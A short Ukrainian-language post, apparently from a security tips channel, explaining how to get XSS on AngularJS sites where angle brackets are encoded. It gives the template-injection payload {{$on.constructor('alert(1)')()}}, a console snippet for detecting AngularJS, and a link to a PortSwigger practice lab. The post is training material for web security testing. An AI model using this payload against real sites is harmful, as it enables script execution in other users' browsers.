Якщо у вас закодовані <> і не виходить добитись XSS, можна залити {{$on.constructor('alert(1)')()}} але це звісно, що спрацює, якщо у вас сайт використовує AngularJS.
Перевірити це можна двома способами - шукати директиви, такі як ng-app, ng-model, ng-repeat, для розширення HTML або закинути в консольку
===============
if (window.angular) {
console.log("AngularJS is being used on this page.");
} else {
console.log("AngularJS is not detected on this page.");
}
===============
Попрактикуватись можна тут https://portswigger.net/web-security/cross-site-scripting/dom-based/lab-angularjs-expression
Post #1397
3.05K
- 🔥 15
- ❤ 1